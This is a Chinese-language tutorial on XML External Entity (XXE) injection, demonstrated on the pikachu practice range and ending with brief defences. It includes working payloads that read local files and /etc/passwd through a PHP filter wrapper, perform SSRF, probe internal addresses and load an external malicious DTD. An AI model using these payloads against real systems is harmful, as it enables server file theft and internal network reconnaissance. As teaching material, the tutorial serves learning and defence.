XXE漏洞又稱XML外部實體注入(XML External Entity)
介紹XXE漏洞前先說一下什么是XML
XML語言
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言
xml的特性
1:無行為:xml只負責包裝數據,沒有編程語言的邏輯和行為能力,傳送、接收、解析都由應用程序完成。
2:純文本:只有文本,沒有顏色加粗等文本樣式(bat,html,txt文件都是純文本的)。
3:自定義:標簽和屬性名均可以自定義。
xml的設計宗旨是傳輸數據,側重於描述和存放數據,焦點是數據的內容,常用於作為軟件配置文件和傳輸數據
常見的XML語法結構
XXE漏洞攻擊原理
XXE漏洞發生在程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站等危害。
在某些情況下,攻擊者可以利用XXE漏洞執行服務器端請求偽造(SSRF)攻擊,從而升級XXE攻擊,以破壞底層服務器或其他后端基礎結構。
pikachu靶場簡單演示一下xxe漏洞,文件讀取
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D:/CTFTools/test.txt"> ]> <x>&xxe;</x>
一般遇到XML語言都可以嘗試進行XXE注入
XXE漏洞攻擊
XXE 攻擊類型 | 描述 |
---|---|
利用 XXE 檢索文件 | 定義包含文件內容的外部實體,並在應用程序的響應中返回。 |
利用 XXE 執行 SSRF 攻擊 | 外部實體基於 URL 到后端系統的定義。 |
利用盲XXE外泄數據帶外 | 將敏感數據從應用程序服務器傳輸到攻擊者控制的系統。 |
利用盲 XXE 通過錯誤消息檢索數據 | 攻擊者可以觸發包含敏感數據的解析錯誤消息的位置。 |
XXE:本地文件包含示例
#玩法-讀文件 <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x>
結合php偽協議
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root ANY > <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root><name>&admin;</name><password>admin</password></root>
XXE:SSRF ( 服務器側請求偽造 ) 示例
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]>
<foo>&xxe;</foo>
XXE:探測內網地址 示例
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>
#引入外部實體 dtd
?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
XXE防御
- 禁止使用外部實體,例如libxml_disable_entity_loader(true)
- 過濾用戶提交的XML數據防止出現非法內容。過濾關鍵詞:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLI